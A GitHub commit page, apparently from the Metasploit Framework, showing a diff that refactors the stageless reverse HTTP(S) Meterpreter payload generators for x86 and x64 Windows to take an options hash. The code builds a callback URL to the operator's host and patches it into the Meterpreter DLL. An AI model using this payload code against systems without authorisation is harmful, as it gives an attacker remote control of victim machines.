Skip to content

Commit 9fd4087

Browse files
committed
Update http(s) generator functions
Methods now require a hash. I went with the hash because 1) that's what we seem to use everywhere else, and 2) I couldn't get the new keyword arguments working nicely with the block syntax (I'm clearly stupid).
1 parent 84397f5 commit 9fd4087

File tree

5 files changed

+32
-19
lines changed

5 files changed

+32
-19
lines changed

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -26,25 +26,30 @@ def initialize_stageless
2626
], self.class)
2727
end
2828

29-
def generate_stageless(ssl, &block)
30-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
29+
def generate_stageless(opts={})
30+
unless opts[:generator]
31+
raise ArgumentError, "Stageless generation requires a generator argument"
32+
end
3133

32-
unless block_given?
33-
raise ArgumentError, "Stageless generation requires a block argument"
34+
if opts[:ssl].nil?
35+
raise ArgumentError, "Stageless generation requires an ssl argument"
3436
end
3537

38+
url = "http#{opts[:ssl] ? "s" : ""}://#{datastore['LHOST']}:#{datastore['LPORT']}"
39+
url << "#{generate_uri_uuid_mode(:connect)}/"
40+
3641
# invoke the given function to generate the architecture specific payload
37-
block.call(url) do |dll|
42+
opts[:generator].call(url) do |dll|
3843

3944
verify_cert_hash = nil
40-
if ssl
45+
if opts[:ssl]
4146
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
4247
datastore['HandlerSSLCert'])
4348
end
4449

4550
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
4651
:url => url,
47-
:ssl => ssl,
52+
:ssl => opts[:ssl],
4853
:ssl_cert_hash => verify_cert_hash,
4954
:expiration => datastore['SessionExpirationTimeout'].to_i,
5055
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,

modules/payloads/singles/windows/meterpreter_reverse_http.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,11 @@ def initialize(info = {})
3737
def generate
3838
# generate a stageless payload using the x86 version of
3939
# the stageless generator
40-
generate_stageless(false, &method(:generate_stageless_x86))
40+
opts = {
41+
:ssl => false,
42+
:generator => method(:generate_stageless_x86)
43+
}
44+
generate_stageless(opts)
4145
end
4246

4347
end
44-
45-

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,11 @@ def initialize(info = {})
3737
def generate
3838
# generate a stageless payload using the x86 version of
3939
# the stageless generator
40-
generate_stageless(true, &method(:generate_stageless_x86))
40+
opts = {
41+
:ssl => true,
42+
:generator => method(:generate_stageless_x86)
43+
}
44+
generate_stageless(opts)
4145
end
4246

4347
end
44-

modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,11 @@ def initialize(info = {})
3737
def generate
3838
# generate a stageless payload using the x64 version of
3939
# the stageless generator
40-
generate_stageless(false, &method(:generate_stageless_x64))
40+
opts = {
41+
:ssl => false,
42+
:generator => method(:generate_stageless_x64)
43+
}
44+
generate_stageless(opts)
4145
end
4246

4347
end
44-
45-
46-

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,11 @@ def initialize(info = {})
3737
def generate
3838
# generate a stageless payload using the x64 version of
3939
# the stageless generator
40-
generate_stageless(true, &method(:generate_stageless_x64))
40+
opts = {
41+
:ssl => true,
42+
:generator => method(:generate_stageless_x64)
43+
}
44+
generate_stageless(opts)
4145
end
4246

4347
end
44-
45-

0 commit comments

Comments
 (0)